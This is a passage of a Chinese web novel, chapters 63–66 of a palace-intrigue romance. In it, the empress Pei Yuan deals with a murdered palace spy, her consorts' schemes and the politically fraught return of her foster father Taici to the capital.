陆长行微微侧首,眸光平静如水:“初见郭小公子,何其明艳张扬?那番‘世道颠倒,阴盛阳衰是为错,并立誓驰骋战场,欲将女子踩在脚下’的言论,本宫犹记于心。时移世易,曾经那个不屑女子之爱的郭小公子,竟也会为了得到陛下之心,而敛去锋芒,变得深沉内敛。可见,人心终抵不过岁月。过往种种,皆为时间刻痕。陛下如今虽失忆,却不为过往痛苦阴霾所蔽;故此,本宫希望她能在混沌中守得当下心安,即便是痛,便没那么痛了。” 郭嘉安面色微沉,桃花眸中闪过一丝冷意:“你总是有自己的一番道理!可这道理,我不认!” 他向前一步,凝着他的柳叶眸:“你说的对,人心终抵不过岁月。过往是我不懂情爱,所以与你立下盟约。可现在,我不会再让着你了!陆长行,你听清楚,我爱她,我要得到她!” 第63章 第63章晋江文学城 大暑已过,京城迎来最热的时节,所以即便日落,夜风还带着燥热。 裴源退去明黄的规制衣袍,只寻了件轻薄的麻衫,整个人都觉得松泛了不少。 最后一本奏折批阅毕,凝晖殿也终于熄了灯,御撵在正三宫盘桓后,行入了东六宫。 如华宫坐落在东六宫偏僻之地,与后三所比肩毗邻,宫门前郁郁葱葱的松柏,仿佛将此地隔绝成了世外桃源。 宫人仿佛早知御驾会在今夜登临,一路有条不紊的引了裴源入殿。 相较于其他宫,如华宫布局更似一个贵族的庭院,小桥流水,凉亭步廊,药香与草木之气混杂,裴源一路走来,无端有了归隐的念头。 入了内殿,一眼瞧见温阳泽侧倚床头,手握书册看的认真,听了宫侍禀告,方才放下书册微笑看着来人:“陛下比臣想的,早来了一炷香。” 宫侍有序的搬过来一张移动茶几放在榻前,又抬了把太师椅。 裴源大方落座,欣赏了一会儿席亳的茶道,后看着面前的清茗,犹豫着开了口:“午后,瑞华宫的都阳夏……” 话未说完,已被温阳泽淡然打断:“臣杀的。” 裴源刚端起的茶,因这一句轻飘飘的话手上一抖,溢出清茶瞬间将女子白皙的手背烫了一片红。 /更多内/容请]搜索[频道:. 席亳不动声色的退下,不过片刻,就端了盆凉水跪在裴源手边。 温阳泽这才说道:“此人近来频频夜探各宫,打探出的消息,由西应门向外传递。臣的人一路跟着,发现这些消息,最后都传递到了南市的御宴楼。” 温阳泽看了她一眼:“御宴楼想必陛下并不陌生。” 自然不陌生,她曾在御宴楼了结了刘丝柳的性命。 手上的烫伤在凉水的浸润下慢慢缓解,裴源却未急着抽手:“原来如此。”她偏头看向温阳泽:“不知他死前可有交待幕后主使?” 温阳泽淡然道:“说是西川王授意,柳州又与西川比邻,听上去合情合理。但一颗不太聪明的棋子,所说之言也不能尽信。” 他说着,递上了一份锦盒,里面竟是些都阳夏传递出宫的消息。 裴源擦了手一一翻阅,都是些后宫鸡毛蒜皮的小事,这些消息,恐怕在庄与之眼里,连屁都不是的存在。 裴源不禁疑惑:“这有什么好传递的?” 温阳泽笑笑:“对陛下而言,自没什么。可若对即将入宫的新君而言,各宫君的脾气秉性,优点短处,与宫人相处态度……无疑是极为重要的告知书。” 裴源蹙眉:“入宫后仔细叮嘱,岂不更方便详尽?” 温阳泽:“那便失了先机。” 见凤帝并不理解,温阳泽缓缓又道:“陛下非多情之人,而今入陛下亲眼之君,要么于陛下有恩,要么有所长可为陛下所用,郎君俊美反而成了摆设。如都阳夏、齐向如、韩柏之列。可后君入宫,争的就是恩宠;恩宠又同前朝有着千丝万缕的关系。陛下将大好的美男冷落后宫,无异于朝臣将忠心摊在您面前,您却视而不见。” 裴源摇头反驳:“这怎么能类比?朕虽待他们不算热情,可也未曾薄待,他们每每来凝晖殿,无论桃花酥做的多难吃,朕也会等他们走了再打发,夸赞之言更是只多不少,除了未曾侍寝,朕已在能力范围内给予了他们最大的公平;何况,前朝之臣应以胸怀谋略治政,若以自家儿郎在宫内是否得宠,来衡量自身价值。这也太过迂腐无知了。” 温阳泽微微一笑:“陛下,后君不是傻子,您待他们是敷衍还是真心,他们能够分辨。就像大臣待您忠心还是敷衍,您也心知肚明。” 裴源一时语塞。 温阳泽又道:“后君是人,大臣也是人,只要是人,便会被贪嗔痴慢疑所困,求名、求财、求利,无外乎尔。陛下站在高处,以纯粹之眸视人,她们自然有且仅有两面:忠于您的则为好;自负自满、风吹两面、不尽心尽力的则为坏;所以您一眼看下去,全是奸臣,一个都不得用。故而,您频频指派凤鸣卫,甚至培养后君于人前为自己的口舌。最后您还觉得累,以为自己站在了巨浪之前,以单薄之躯,抵挡万难。可是陛下……众臣不应该是您的敌人啊。” 殿中静默无声。 凤眸凝着面前的茶杯久久不见偏移,她将凰贵君的话在脑海里反复思量,一条若有若无的神思一闪而过, 她想紧握住,那条线却一溜烟儿不见了踪影。 于是在良久的沉吟后,裴源喃喃低语:“朕知道了。” 温阳泽追问:“陛下知道什么了?” 裴源黯然道:“是朕,杀了都阳夏。” 棋子入宫,未得用,迟早都是弃子;因为都阳夏入宫是带着任务而来,他迟迟未有进展,纵然裴源容得他,其幕后主人却容不得他霸着后宫之位。 此人看似露出马脚被温阳泽除去;可一个无探查之能的人,不得已去做自己不善长之事,露出马脚是迟早的事。 所以归根结底,还是都阳夏未曾得到过圣宠,因而成了被弃之君。 温阳泽欣慰的点了点头,深眸平静,面容亦从容如初:“太祖登基为帝初,得群臣拥护,帝位稳固;但自太祖独宠常氏君后,群臣不容,太祖便以一己之力与群臣对抗。后半生心力憔悴,腹背受敌,帝王之位坐的艰辛。纵观来看,太祖的帝位先甜后苦,即便未输,却也没赢; 先帝为帝初,群臣仍处于反抗帝王的习惯使然,于是先帝初登大宝那几年异常艰辛;直至先帝瓦解了常氏势力,广纳后宫,势弱群臣,方才一步一步坐稳帝位。纵观来看,先帝的帝位,先苦后甜。乃至于诸位王卿为了夺嫡打的焦头烂额,先帝依旧能从容坐山观虎,甚至这帝位到了您的手里,群臣依旧受先帝之风貌,与您处处较劲。 所以,这朝堂之风并非因您继位而如此,而是它,从来就是如此。臣以为,陛下应学先帝一般顺势而为;而非太祖的固执抵抗。” 裴源只觉得灵台被一记重锤重重叩下,宛若醍醐灌顶般,眼前迷雾瞬间散去。 她愕然端坐须臾,突然起身对温阳泽深深一拜:“谢先生教导。” 殿中气氛一滞,忽而,众人齐齐笑出了声。 温阳泽更被她逗的忍俊不禁,咳嗽不止,终于和缓后,方才哑声问:“陛下刚刚叫臣什么?先生?” 裴源脸颊浮出红晕,颔首羞赧道:“先生者,传道授业解惑也。朕以为,凰贵君担得起先生二字。” 温阳泽眸光温和的注视着凤帝眉眼,终是浅浅一笑:“臣为陛下之君,陛下安,则臣安。” 裴源摇着头,不好意思道:“朕说句荒唐话:以凰贵君的胸怀见识,便是嫁给猪,都能上树。” 众宫侍又是啼笑皆非,温阳泽则打趣她道:“臣自知孱弱病重,却也不至于作践自己,与猪为夫。”温阳泽言此拢了一下薄毯,轻言道:“陛下切莫妄自菲薄。在臣眼中,您是这世间最难得的妻主。您不会因臣的家世而谄媚笼络,亦不会因臣的病弱之躯而轻视怠慢。无论从前还是现在,您待臣始终如一,予臣平等与尊重。在臣心中,陛下比宝石还要珍贵,臣得遇陛下,如获至宝,必倾力相助,予卿一世安好。” 裴源像是被赞扬的稚童,一时间,脸颊滚烫,手与脚都不知如何安放,所以傻笑一声后又是揖礼:“那先生好好休息,朕改日再来看你。” 说完,同手同脚的跑了,一脚刚跨出殿外,便听内殿众侍哄堂大笑,裴源愈发羞赧,不等席亳引路,自己一溜烟儿的,便跑的不见了影踪。 席亳轻笑着回了内殿,宫侍早已将榻前茶案收拾妥当,故而倒了杯参茶递给温阳泽:“奴才记得柳州初遇陛下,陛下宛若一具行尸走肉,今日一见,再回想当年,只觉得唏嘘。” 温阳泽饮了茶入喉,数息喘息,方才觉得恢复了精神:“陛下看似高冷,实则与人为善、待人以诚。这是她的长处,却也是致命的症结所在。这么多年,因为轻信人言,吃了太多的亏,终于有所长进,却一下子忘却了所有过往。” 温阳泽长叹一声:“如今的陛下宛若一张白纸,本宫看着实在是惊心。” 席亳道:“诸卿王、与诸州大臣已纷纷入京,据臣所探,至少有八位才俊会在万寿节前后会被进献入宫。其中有位异族少年格外俊美,金色发、深邃眼,最特别的是生了一对蓝眸,而且穿着随性,不拘小节。奴才看了画像都觉得惊为天人,这要是陛下瞧见……” 席毫未继续说下去,温阳泽已经了然。 “被你说的本宫也好奇起来,也不知咱们这位坐怀不乱的陛下,初见此人,会否乱了芳心?” 被质疑芳心会乱的裴源,眼下的确芳心大乱。 方才踏入紫宸殿,就被衣着清凉的陆长行撩拨的心头小鹿乱撞,甚至不等陆长行靠近,裴源已然慌乱的背过身去:“出去!” 第64章 第64章晋江文学城 时至亥时,紫宸殿内烛火已熄,唯有殿外宫灯的微光透过窗格,稀稀疏疏地洒入殿内。裴源听到身后脚步声渐近,虽是夜风微凉,她却莫名打了个寒战。男子修长的指尖轻轻触碰她的手臂时,更是如受惊的猫儿般,慌不择路地退到殿前,面朝殿门,垂首“思过”。 “堂堂君后,仪范天下,如此装束,成何体统?” 陆长行颔首看了眼身上的薄纱:“陛下不喜欢吗?” 裴源不语,怪只怪她眼神太好,虽只是入殿时的一瞥,可男子体态身姿却如刀刻斧凿般印在了她的脑海,甚至一阖眼,都是陆长行的宽肩窄腰,腹肌八块。 谁能想到,穿衣纤薄如他,退下锦袍竟如此有料。 裴源心中无端生出几分燥热,不耐烦地转身直视陆长行道:“身薄如纸,宛若细狗,能勾引到谁?穿了衣服赶快走吧,莫要留下来自取其辱了!” 陆长行:“……” 陆长行闻言,狭长的眼眸微微上挑,眼尾的红痣愈发妖冶,似在挑衅:“臣错了。昔日陛下对臣钟爱有加,臣便以为如今的陛下亦是喜欢臣如此。” 裴源嘴角微抽,呵呵冷笑两声:“真是可怜,好好的一个凤帝,竟是个瞎子。” 说罢,她拂袖转身,径直回了内殿上了凤榻,还不忘扯下帷幔将床遮得严严实实,不留一丝缝隙,不给陆长行一点窥探的机会。 裴源本以为陆长行会知趣离去,却没料到自己先因帷幔内的闷热坐不住了。于是一把扯开帷幔,没好气道:“你深夜前来,就是为了戏弄朕一番?” 陆长行颔首整理着腰封,听到裴源的话,愕然不解:“臣……戏耍您?” 分明是他勾引未果,无地自容才对? 见他已穿戴整齐,裴源从榻上起身缓步走下。语气冷冽,字字清晰:“你喜欢的人是她,不是朕。今夜这般故作姿态,不是戏耍,便是想让朕放你出宫。除此之外,还能有什么可能?” 说话间,裴源倒了一大杯凉茶,仰头一饮而尽,茶水顺着喉间滑落,带来一丝清凉。她又道:“出宫之事,以后莫要再提。万一有哪日她回来了,见你不在,谁知道她会做出什么惊世骇俗之举。” “惊世骇俗之举?”陆长行微微蹙眉,无奈苦笑:“陛下未免过于高看臣在她心中的位置了。” “高看?”裴源冷笑一声,语气中满是嘲讽:“陆长行,你当真是被深爱而不自知。” 陆长行又是自嘲轻笑。 裴源抬眸,目光中带着几分探究:“你笑什么?” 陆长行手指轻轻摩挲着腰封上的云纹刺绣,语气低沉而无奈:“在您到来之前,她早已将臣冷落许久。臣只能借着把脉的名义,才能与她见上一面,可她始终冷漠以对,连一个眼神都不愿施舍给臣。若这便是陛下口中的深爱,臣属实是不自知了。” 暗黄的宫灯透 过窗棂,映照在陆长行的脸上,将他眼中的落寞衬得愈发清晰。裴源摩挲着手中茶杯,冷声道:“你可有想过,宫中有太医、医夫,她何必劳烦你一个君后把脉?” 陆长行微微一顿:“她疑心重。” “疑心重是真,想见你也是真。”裴源犹豫片刻,最终试探着开口:“夜风燥热,难以安眠。君后若想求一个明白,朕可以坦白相告。只是这真相对君后而言或许过于沉重,你确定想听吗?” 陆长行毫不犹豫地点头:“臣想知道。” 裴源点了点头,又倒了一杯凉茶仰头饮尽,茶杯重重地落在案几上,发出一声清脆的响声。她几步走到陆长行面前,摊开手掌,冷声道:“扳指。” 熟悉的黑玉扳指带着男子的体温落在裴源掌心,裴源紧攥片刻,旋即行至殿中舆图后侧,将黑玉扳指没入墙内凹槽,随后叩击着墙上砖石,叩至最后一块前,裴源停顿了数息,最终还是重重落下。安静的殿中瞬间传来石壁摩擦的声响,随着石门缓缓开启,一股强烈的疾风携着潮湿腐败之气从墙内涌出。 一条漆黑不见尽头的甬道赫然出现在两人面前。 “想必你已从西门眙口中得知,紫宸殿内有一条通往栖梧宫的地道。朕便不领你前去确认了。朕要给你看的,是另一间密室。”裴源取过一支烛火点燃,踏入黑暗不过须臾,又是一阵石头的摩擦声,里面竟凭空出现了一间石室:“这里,有你想要的一切答案。” 见陆长行毫不犹豫地迈步上前,裴源却一把抓住了他的手腕,语气凝重:“莫要后悔。” 说完,她将烛台递给了陆长行,迈步离开了地道。 长夜漫漫,裴源独坐在方台的窗前,目光凝视着窗外的半轮残月。看着它缓缓穿过薄云,渐渐西沉于天际,而后,东方的天际线渐渐泛起鱼肚白。然而,却始终没有等到陆长行从密室中走出,反倒是乌宛白的声音率先在殿外响起。 宫女们鱼贯而入,服侍裴源换上凤袍,梳理发髻,施以妆容。那张因一夜未眠而略显憔悴的脸,在精心打理下,很快便恢复了往日的神采与威仪。 踏出紫宸殿前,裴源还不忘回首凝视舆图良久,终是叹息道:“通知各宫,君后身子不适,近来后宫诸事由宸贵君代劳。” 计安颔首应是,匆匆退下通传阖宫。 乌宛白见状,试探着询问:“陛下,太慈的马车今日入城,是否也让宸贵君代为恭迎?” 太慈正是原主的养父,也是先帝的淑君。他育有先帝的第四女裴安,而原主虽也曾寄养在他的膝下,但与他亲生的裴安相比,日子过得极为凄苦。 先帝驾崩前,唯恐太慈留在后宫生事,便命他与裴安一同前往西川。可上月,太慈以西境风沙过大,水土难服为由,恳请回京,此事不知怎地传入了朝臣耳中,便有朝臣以孝道之名,“建议”裴源接太慈回京颐养天年。 裴源作为养女,又怎能拒绝? 先帝生前,太慈便处处为亲女儿谋算,此次回宫,想必也不会安分守己。 裴源沉吟片刻,深知“孝”字在百姓心中分量极重。他们不会在意这对父女的过往,但若知道凤帝只派遣一位贵君出宫相迎,必会引来不满。念及此,裴源微微拢了拢衣襟,语气坚定道:“太父养育朕多年,三年不见,朕思念太父至深,自当亲自出城相迎,方能彰显太慈之尊,朕之孝道。” 乌宛白微微颔首:“陛下说的是,是奴婢思虑不周。” 裴源问道:“太父几时入城?” 乌宛白道:“先行长刚刚来报,约莫巳时入城。” “巳时啊?”裴源微微一笑:“你去宣政殿通知诸位大臣,太慈回京是大事,今日便免了朝政,即刻同朕出城相迎。” 乌宛白先是一愣,旋即微微一笑:“奴婢这便去通传。” “等等。”裴源回首望了一眼,轻叹道:“先去栖梧宫通传一声,莫要让君后昏昏沉沉地回宫后,连口热饭都吃不上。” 乌宛白应声退下:“是。” 时至卯初,御驾马车自朱雀门一路行至城外,身后浩浩荡荡地跟着文武百官,声势浩大,引得百姓无不张望耳语。可随着时间推移,东方泛白的鱼肚逐渐升腾至烈日高悬。暑气渐升,百姓们抵不住烈日的炙烤,纷纷散去。 一众大臣在烈日下挥汗如雨,凤帝亦在太阳底下翘首以盼,众人不禁对太慈满腹怨怼:“虽说陛下养在太慈膝下,但他待陛下如何,谁人不知?先帝那份遗诏,分明是要他在西川养老。” 另一大臣阖眼伫立,主打心静自然凉,闻言缓缓道:“太慈回京是为了自己吗?分明是为了西川王。” 京兆府少尹燕书艺多年未吃过这般苦头,被阳光直晒的头晕目眩,眼前一片漆黑。听到周遭大臣议论,忍不住吐槽:“这西川王尚未回京,便急不可耐地编排出‘山下邪火、焚山起祸’的流言,回了京后,指不定还要耍什么花样。” 周遭议论声戛然而止。 “不是说……那匪徒未曾道出幕后主使,便咬舌自尽了吗?”有朝臣小声询问。 燕书艺自觉失言,急得满脸通红,惶恐道:“我是热糊涂了才把臆测之言说了,你们可别往外传。” 臆测? 没头没尾之事如何臆测? 此事,要么是京兆府寻到了细枝末节的线索,却未找到实证;要么就是京兆府拿到了匪徒的口供呈予凤帝,而凤帝念及姐妹之情,将此事压下,只为保全太慈的脸面。 诸臣面面相觑之际,队伍前排忽而引发一阵慌乱。很快,凤帝不堪日晒昏迷的消息传遍诸臣。 诸臣对太慈回京一事愈发不满。 “都快两个时辰了,这太慈的马车连影子都未见到!莫不是未遣先行长入宫告知?” 刑部郎中周韵,生得一张俊美之容,开口之音也是雌雄末辩:“未遣岂不落人口实?约莫是言辞含糊,陛下以为即将入城,故而早朝未上,便匆匆携百官相迎,谁料这一等,便是两个时辰。” 身旁之人不满道:“言辞含糊?先行长有几个脑袋敢对帝王含糊,还不是受人指点!” 兵部郎中自幼习武,耳力敏锐,闻声开口,语气中带着萧杀之气:“一个养父,竟敢如此愚弄帝王,简直岂有此理!” 周韵叹了口气:“陛下是个孝女,可惜,太慈却不疼惜陛下。谁家做父亲的会不体恤女儿在外奔波,恨不得让自己女儿得空多歇歇?怎会让自己的女儿应对此等繁琐之事?此事若放到西川王身上,太慈会舍得让西川王在烈日之下站两个时辰?到底不是亲生的,陛下尽孝之余,也得顾虑万全。” 周遭之臣闻言,一时同仇敌忾:“周郎中这话说到了点子上,今日陛下若不出城相迎,想来,不孝的帽子顷刻就会扣在陛下头上。来日,太慈若动不动就以陛下不孝说事,陛下当真不好应对。为了自己的女儿,便挟恩以胁养女,果然最毒是人心!” 众臣议论纷纷之际,齐翁卿则满心担忧地看着凤帝。终于,凤帝悠悠转醒,齐翁卿心安之余,亦生出满腔怒火。待看到太慈的队伍缓缓出现时,齐翁当即开口:“陛下中了暑气,需好好休息,太慈回宫事宜,便由老臣代为迎接吧。” 凤帝闻言,本就苍白的脸上更失血色,固执道:“不可,朕自幼在太父宫中长大,若不亲迎,岂非不孝?扶朕起来,朕要亲迎!” 说着,裴源挣扎着起身,然而身形未稳,便又一头栽入了乌宛白的怀中,再度陷入了昏迷。 周遭顿时一片混乱,齐翁卿当即下令:“速扶陛下回宫!” 随后,齐翁拄着紫檀木拐杖,侧身凝望着越来越近的队伍,语气中满是讥讽:“既无生育之恩,又乏善养之实,竟还倚仗长辈身份,以孝道为名行胁迫之事?老臣倒要看看,他今日要如何收场!” 第65章 第65章晋江文学城 太慈尚未入城,便被齐翁以厉色讥言气得全身发抖。 消息传入紫宸殿时,裴源正侧倚吃瓜解暑。闻言,一个没忍住,呛得咳嗽不止。 乌宛白忙拿了帕子递给她。 凤帝咳嗽缓解,方道:“齐翁从不将男子放在眼里,尤其厌恶男子干政。这太慈入京本就目的不纯,又连累朕与众百官在烈日下暴晒两个时辰,不用去听,便知齐翁骂得会十分难听。” 乌宛白点头应是,道:“太慈直呼冤枉,原本打算召了先行长和奴婢对峙。可随驾中一男子下了马车,三言两语便安抚住了太慈。太慈当即放低姿态,竟以太慈之身向齐翁躬身请罪。” 裴源微微一愣,当下没了吃瓜的心思,放下竹叉,追问道:“什么男子?” 乌宛白斟酌着言辞,道: “陆指挥使说,那男子唤太慈为舅父。耿家子嗣枝繁叶茂,奴婢一时也确定不了是哪一支的小辈,已派人去打探了。” 裴源眸色微深,起身在殿中踱步,沉声道:“太慈屈尊,齐翁必落下风,按理说早就该放行回宫了,可这个时辰了,怎么后宫还没动静?” 乌宛白静默片刻,微微颔首,小心翼翼道:“是西川王……”她见凤帝眸光凌厉地注视着自己,只得硬着头皮继续说:“西川王得知陛下与众百官在日头下恭迎太慈两个时辰,又得知陛下现已昏迷,心中愧疚不已,故代父受过……自城门起,三步一跪,朝着皇宫方向行进,以此向陛下与百官请罪。太慈的马车亦步亦趋,队伍浩浩荡荡,看着既悲壮又可怜,百姓已开始议论纷纷。” 殿中气氛瞬间凝滞,针落可闻。眼见凤帝拳头紧了又松,松了又攥,乌宛白试探着又道:“陛下如今‘昏迷’,必不好出面,可要奴婢去请君后或是宸贵君?” 裴源眼角抽动,沉吟片刻,道:“君后无父族依傍,只凭口舌震慑不住西川王;宸贵君性子过于刚硬,亦非最佳人选。”她沉默片刻:“为今之计,只能请凰贵君了,也不知他身子抗不抗得住。” 乌宛白亦是满心担忧,但此时再无更好的法子,只能颔首道:“事关陛下,凰贵君必能坚持,奴婢这便去派人请。” 说着,乌宛白躬身退下。然而,尚未跨出殿门,便见凰贵君身侧的席亳匆匆来禀。 “陛下,凰贵君听闻西川王跪行入宫之举,现已携阖宫诸君出宫相迎。凰贵君说,太父回京,诸君理应出宫相迎。既然比的是谁更可怜,那西川王定落下风。毕竟诸君病的病、病的病、病的病……所以凰贵君让陛下安心静养,不必忧心。只是这后宫风水似是不好,建议陛下请个法师做场法事,否则明日的万寿宴上,诸君的席位都落了空。” 裴源:“………” 乌宛白脸上的担忧顷刻化作微笑,拍着胸脯道:“此事由凰贵君出面,必能转危为安。” 裴源的心也一下子落到了实处,刚一落座,似想到了什么,追问席亳道:“君后也出宫了吗?” 席亳道:“君后为后宫之主,自要同行的。”他言此,瞥了眼凤帝,又道:“不过君后脸色不善,听栖梧宫的宫侍说,君后昨夜偶感风寒,今晨似连话都说不出了。” 这本是一句平静的叙述,可裴源的心头却似被刺入了一根尖刺,锐痛瞬间蔓延开来,就连呼吸都带着钝痛,仿佛是原主的灵魂在这一刻占据了主导。 裴源下意识扶着胸口,越试图阻止情绪蔓延,身体便越控制不住地颤抖,最后,竟连呼吸都变得急促。 乌宛白和席亳见势不对,正要上前,却被凤帝的一句呵斥止住了脚步。 “退下!” 两人不敢违抗帝命,相互对望一眼,便躬身退出殿外。 彼时,诸君的君驾已将跪行的西川王队伍拦在了正街。宸贵君下车亲迎太慈回宫,然而西川王以“不请罪无颜面圣”为由,执意跪行。诸君无奈,只得以太慈之婿的身份,共承荣辱。 一时间,连同君后等后宫诸君,纷纷下了马车,誓要与西川王一道跪行入宫。然而,后君们的身体似都不太好,才走了几步,几个后君便昏倒了;又走了几步,凰贵君竟然吐血了;再走了几步,挺着大肚子的卿君腹痛难忍,直接倒地不起了。 尽管队伍乱成了一锅粥,主持大局的宸贵君依旧坚持孝心为大,即便是爬,也要陪西川王一路跪行。于是命人直接扛起了病重的诸君,拖着行进。 旁人倒也罢了,可秋康时肚子里怀的,可是当今凤帝的第一胎。此举很快引起了争议,消息也很快传入了凤武将军耳中。秋燕楠当即派了一支禁军出城,将自家儿子抱上步撵后,指着西川王的鼻子就是一顿指桑骂槐,言下之意,直指太慈不安好心,以公爹之身倚老卖老,苛待养女诸夫,且意图谋害皇嗣。 马车中的太慈怒急攻心,直接晕在了马车里。 就这样,历经一波三折,太慈终于被迎入了皇城。 由于陛下与诸君皆在迎太慈回宫这件事上,或多或少受了伤,是以当晚的洗尘宴便不了了之。 是夜,寿安宫烛火摇曳,光影交错间,将太慈的侧脸映得愈发晦暗:“这贱人与她那低贱的父君一个样,最善装可怜博同情!才回京,便给孤家演了这么一出,当真可恨!” 身侧的年轻男子淡然泡了一盏香茗,轻轻奉到太慈手边:“舅父何必恼火?侄儿以为,她越是大张旗鼓,越是说明她内心虚浮,落不到实处。毕竟只有无根浮萍,才会紧抓浮木,真正有能力的枭雄,何须自降身份,被全城百姓当成笑料谈资?” 此话似对太慈颇为受用,他心中怒火已然熄了大半,懒懒倚靠在凭几上,沉声道:“也不知安儿如何了,地砖灼热,跪行一路,手掌膝盖必起水泡。她自幼锦衣玉食,何曾受过这种苦痛?” 男子道:“表姐性情坚韧,又有府医照看,必是无碍,舅父无需挂怀。当务之急,还是要想想如何令陛下松口,准您在京颐养天年。” 太慈冷哼一声,语气中满是不屑:“她从前最是好性儿,无关痛痒的事从不多费心思。却不想做了三年凤帝,竟养出了这般狡诈性情!孤家只是回个京,她便闹成这样,若是孤家打算在京颐养天年,她岂不是要翻天了?” 男子眼眸微眯,沉思片刻,缓缓道:“陛下如此,分明是内心深处惧怕舅父回京。既如此,舅父何不示弱,让她心安?” 太慈微微挑眉,追问:“如何示弱?” 男子微微一笑,眼中闪过一丝精光,轻声道:“装蠢即可。” 彼时,紫宸殿。 陆萧玉在殿外候了不过须臾,便被乌宛白请入殿内。 “陛下。”陆萧玉双手奉上画卷与文书,躬身道:“陪太慈回京的男子名唤耿文曜。此子天资聪颖,琴棋书画,无一不精。虽为耿家旁支,却自幼养在耿太公膝下。三年前,被送到太慈身侧侍奉,深得太慈信任。” 裴源展开画卷,画师技艺精湛,将耿文曜的神韵描绘得栩栩如生。 画像上,男子白衣如雪,低垂的眉眼看着怀里的白猫,神情淡然,让人瞧不出喜怒。反倒那只通体雪白的猫儿憨态可掬,毛发浓密柔软,一对异瞳格外惹眼。 裴源抚了抚画中白猫的异瞳,心中不禁泛起一丝黯然,不自觉想起了原主养大的那只白猫。 “此子多大了?”裴源问道。 “刚满二十岁,未有婚约。”陆萧玉答。 裴源微微点头,心中了然。此人要么会被送予她为君;要么便是嫁给京城贵女为婿,拉拢权臣,为西川王壮势。 裴源对太慈的了解,更倾向于后者。毕竟她这个养女,不值得他浪费心力与人手。 她合上画卷,随手置于一旁,又展开文书看的仔细:“这些便是今日站在朕立场说话的诸臣吗?” 陆萧玉点头道:“名册之上的诸臣,在太慈回京一事上,皆持反对态度,只是有的朝臣说得含蓄,有的则态度鲜明。” 裴源轻笑一声,那笑意似是欣慰,又似嘲弄,难以捉摸。她将名册递给乌宛白,淡声道:“开琼林库,依着每个人的爱好习惯,取宝物以示褒奖,由凤鸣卫悄然送去各府,务必言明君臣一心,朕心甚慰之理念。其中,齐翁与凤武将军两人重赏。”裴源抬眸看向乌宛白,继续说道:“各后君亦 在今日替朕分忧,尤其秋卿君,挺着孕肚冲在前线,朕既心疼,又十分欣慰,皆予以恩赏。即刻去办!” 两人齐声应是,躬身退下。 一日喧嚣终落,裴源只觉心力交瘁,倦意难掩。她倚在紫宸殿外,抬眸望向天际弦月,着看着竟鬼使神差的行进,最后稀里糊涂地来到了栖梧宫前。 看守宫侍不敢阻拦,只悄然将消息传至温康处。温康闻讯,急忙守在殿门后,待凤帝踏入,忙上前躬身道:“陛下,君后偶感风寒,已然歇下。” 裴源眉梢微动,轻声道:“那朕进去看看他。” 温康又一步挡在裴源身前,恳切道:“陛下,风寒易染,明日便是万寿节,若陛下染恙,君后岂非成了罪人?” 裴源微微一愣,眼中闪过一丝不甘,又向殿内望去,除了一片乌漆嘛黑,连陆长行的影子都未曾瞧见。 裴源犹豫良久,终未冒失入殿,只得一步三回头地离开了栖梧宫。 月色洒在她肩头,更添几分落寞,一举一动皆被窗前的陆长行收入眼底,他喃喃自语着,似要借风将话传入凤帝耳中:“陛下那时年幼,少女情窦初开,难掩情爱之心,那并不是陛下的错。” 温康以为君后在对自己说话,故而低语:“奴才不明白。” 陆长行颔首拨弄着手中黑戒,闻言,轻声道:“本宫也不明白,先帝为何要如此狠心。” ** 翌日,凤帝生辰,京城上下一片喜色。早朝,裴源因群臣的恭贺笑逐颜开,更是收礼收到手软。 散朝之后,裴源依祖制前往寿安宫向太慈请安。她本以为太慈会因昨日入城之事向她发难,却不想,甫一踏入寿安宫,便得宫妇亲切恭迎,太慈更是备好了早膳,微笑相迎。 裴源虽有意外,却从容落座,冷眼扫过阖宫宫侍,斥道:“朝会散无定时,太父又患胃疾,尔等在寿安宫侍奉,竟不知规劝。朕养尔等,究竟有何用处?” 众人皆惶恐伏地请罪,为首男子叩首道:“陛下恕罪!太慈久别陛下,思念情切,唯恐陛下匆匆而来、匆匆而去,故而执意候陛下用膳,只为多与陛下相聚片刻。奴才感念太后怜子之心,不忍规劝,唯愿太后心安。望陛下明察。” 裴源凤眸微微下移落在男子身上。男子低垂着头,眼眸敛于长睫之下,裴源难以窥探其面容,只观他衣着精致,气韵不凡。 这时,太慈轻叹一声,开口道:“三年前一别。孤家远赴西川,千余日夜,孤家常常想起源儿。源儿自幼养于孤家膝下,本应得孤家悉心照料。奈何安儿体弱多病,孤家不得不将更多心思放在她身上,竟疏忽了源儿。每念及此,孤家便满心愧疚。本打算此次回京好好待源儿,以弥补多年亏欠,却不想昨日入城又生出这许多不快,孤家这心,似热油煎熬一般……” 话音未落,太慈已是悲从中来,泪水夺眶而出,沿着脸颊滑落,很快在他衣袍上晕染成一片湿痕,旁观者无不深感恻然。 为首的宫侍毫不犹豫起身,将太慈拥入怀中,轻声安抚:“舅父……” 裴源凤眸微挑,原来此人便是耿文曜。 耿文曜哽咽道:“舅父昨日一夜未眠,今晨又亲自下厨,备下这一桌饭菜,才刚歇下片刻,又如此悲恸。陛下最是宅心仁厚,您如此,陛下岂不心伤?” 太慈情绪依旧悲切,耿文曜掩面抚泪时,瞥见凤帝表情似显不耐,故又低语安抚:“舅父莫再哭了,今日是陛下生辰,该喜庆欢乐才对。” 太慈这才缓缓收敛情绪,轻声道:“生辰要吃寿面,文曜,快去小厨房将寿面端来。” 耿文曜应声而起,躬身退下。裴源目送他身影消失于长廊尽头,方淡淡道:“此子生得倒是瑰丽。” 太慈微微一愣,勉强挤出一抹笑容,道:“文曜乃耿家旁支公子,虽容貌俊美,然处事尚显稚嫩。便送到了孤家身侧,以资历练,比之阖宫诸君,他还差的远呢。” 裴源指尖扣着桌案,后,微微笑道:“太慈忙了一早上也饿了吧?” 太慈恍然,忙动筷道:“瞧孤家这记性,光顾着和源儿说话了,快动筷吧,再说下去饭都凉了。” 第66章 第66章晋江文学城 帝慈二人各怀心思,所以早膳才动了几口,裴源便搁下筷子。 离开寿安宫时,辰中已至,阖宫宫侍皆为宫宴奔忙。裴源亦需急返凝晖殿,计安适才来报,凝晖殿外已聚集了献礼诸臣。 诸臣所献之礼,经筛选后归入私库,而私库之物,又可用于赏赐诸臣。诸臣感念恩泽,自会忠心报国…… 如此循环反复,最大受益者,便是帝王。 裴源思及此,嘴角不禁微微上扬。 “陛下圣安。” 回宫路上,御撵突然被人拦下。 裴源居高临下看向请安的男子,旋即脸色微变,一落指,御撵稳稳下沉。而后,急忙拉着男子向御花园方向行去,确认周遭无人,才低声道:“你怎么回来了?” 傅逸春眸色微深,神色更透着严峻:“瞿辰死了。” 裴源一怔。 